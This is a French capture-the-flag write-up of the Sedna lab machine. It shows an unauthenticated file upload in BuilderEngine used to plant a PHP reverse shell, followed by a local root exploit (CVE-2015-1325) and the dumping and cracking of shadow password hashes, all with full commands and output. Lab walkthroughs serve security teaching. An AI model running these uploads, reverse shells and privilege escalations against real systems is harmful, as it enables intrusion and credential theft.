**Sedna - Write Up**
__Reconnaissance__
nmap -sS -A 192.168.43.43
ports ouverts :
22 ssh
53 dns : ISC BIND 9.9.5-3-Ubuntu
80 http : apache 2.4.7
110 pop3
111 rpcbind
139 netbios smbd 3.x workgroup SEDNA
143 imap Dovecot impad
445 netbios smbd 3.x workgroup SEDNA
993 imap Dovecot impad
995 pop3 ssl
8080 : Apache Tomcat/Coyote JSP engine 1.1
Après quelques essais on remarque :
- Tomcat n'utilise pas d'identifiants simple à deviner
- Il n'y a pas d'exploit pour rpcbind et bind 9
__Exploitation Web__
Pour le port 80 :
{{ :vm:sedna.png?nolink&200 |}}
Avec l'outil [[https://sourceforge.net/projects/dirb/files/ | dirb]] on va chercher les fichiers existants :
./dirb http://192.168.43.43/ wordlists/common.txt
---- Scanning URL: http://192.168.43.43/ ----
==> DIRECTORY: http://192.168.43.43/blocks/
==> DIRECTORY: http://192.168.43.43/files/
+ http://192.168.43.43/index.html (CODE:200|SIZE:101)
==> DIRECTORY: http://192.168.43.43/modules/
+ http://192.168.43.43/robots.txt (CODE:200|SIZE:36)
+ http://192.168.43.43/server-status (CODE:403|SIZE:293)
==> DIRECTORY: http://192.168.43.43/system/
==> DIRECTORY: http://192.168.43.43/themes/
---- Entering directory: http://192.168.43.43/blocks/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.43.43/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.43.43/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.43.43/system/ ----
==> DIRECTORY: http://192.168.43.43/system/core/
==> DIRECTORY: http://192.168.43.43/system/database/
==> DIRECTORY: http://192.168.43.43/system/fonts/
==> DIRECTORY: http://192.168.43.43/system/helpers/
+ http://192.168.43.43/system/index.html (CODE:200|SIZE:142)
==> DIRECTORY: http://192.168.43.43/system/language/
==> DIRECTORY: http://192.168.43.43/system/libraries/
---- Entering directory: http://192.168.43.43/themes/ ----
Dirb nous ressort tout un tas de dossier à aller visiter.
Dans le dossier "themes" on trouve un dashboard.
En regardant le code source du dashboard on voit :
...
BuilderEngine Admin Dashboard | Login Page
...
BuilderEngine est le nom d'un CMS
On cherche si un exploit existe avec [[https://github.com/offensive-security/exploit-database | searchsploit]]
./searchsploit builderengine
-------------------------------------------- -----------------------------------
Exploit Title | Path
| (/opt/exploit-database/platforms)
-------------------------------------------- -----------------------------------
BuilderEngine 3.5.0 - Arbitrary File Upload | /php/webapps/40390.php
-------------------------------------------- -----------------------------------
La faille est la suivante :
1) Unauthenticated Unrestricted File Upload:
POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/
Vulnerable Parameter: files[]
We can upload test.php and reach the file via the following link:
/files/test.php
L'url vulnérable est la suivante :
http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/
J'ouvre un netcat en écoute sur mon poste sur le port 1234 :
nc -lvp 1234
J'upload un reverse shell php [[http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz| pentestmonkey]]
curl -i -X POST -H "Content-Type: multipart/form-data" -F "files=@php-reverse-shell.php" http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/
Mon fichier une fois uploadé est situé :
http://192.168.43.168/files/php-reverse-shell.php
Dès l'ouverture de la session on ouvre un pty :
python -c 'import pty;pty.spawn("/bin/bash")'
{{ :vm:nc.png?nolink |}}
__Exploitation du système & Élévation de privilèges__
On va chercher la version du kernel :
uname -a
Linux Sedna 3.13.0-32-generic Ubuntu
On va chercher la version de la distribution :
www-data@Sedna:/$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
On oublie pas de récupérer le premier flag :
www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289
Maintenant il faut élever ces privilèges :
L'exploit que nous allons utiliser :
[[https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c]]
Il est basé sur la CVE-2015-1325 et à été testé sur la version 14.04 d'Ubuntu.
On récupère l'exploit sur la machine (j'ai choisi le dossier /var/www/html car il est accessible en écriture).
wget https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c
On le compile :
gcc 37088.c -o exploit2
On l'utilise :
www-data@Sedna:/var/www/html$ ./exploit2
./exploit2
created /var/crash/_bin_sleep.33.crash
crasher: my pid is 3848
apport stopped, pid = 3849
getting pid 3848
current pid = 3847..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..2500..
** child: current pid = 3848
** child: executing /bin/su
sleeping 2s..
checker: mode 4534
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
id
uid=0(root) gid=0(root) groups=0(root)
Nous sommes dès à présent root du système.
On affiche le deuxième flag :
cat /root/flag.txt
a10828bee17db751de4b936614558305
__Pour aller plus loin__
On va chercher les identifiants du tomcat :
cat /etc/tomcat7/tomcat-users.xml
On récupère les /etc/shadow et /etc/passwd
root:$6$sZyJlUny$OcHP9bd8dO9rAKAlryxUjnUbH0dxgZc2uCePZMUUKSeIdALUulXLQ1iDjoEQpvZI.HTHOHUkCR.m39Xrt3mm91:17097:0:99999:7:::
crackmeforpoints:$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/:17104:0:99999:7:::
root:x:0:0:root:/root:/bin/bash
crackmeforpoints:x:1000:1000::/home/crackmeforpoints:
Utilisation de l'outil unshadow de la suite John The Ripper :
./unshadow passwd shadow > hash_a_crack
Tentative de casser les hash avec john :
./john hash_a_crack
Les mots de passes n'ont pas été trouvés dans un délais 20 minutes de crack.
L'exploitation de la machine c'est finit à ce niveau là.
Merci à l'auteur de la machine.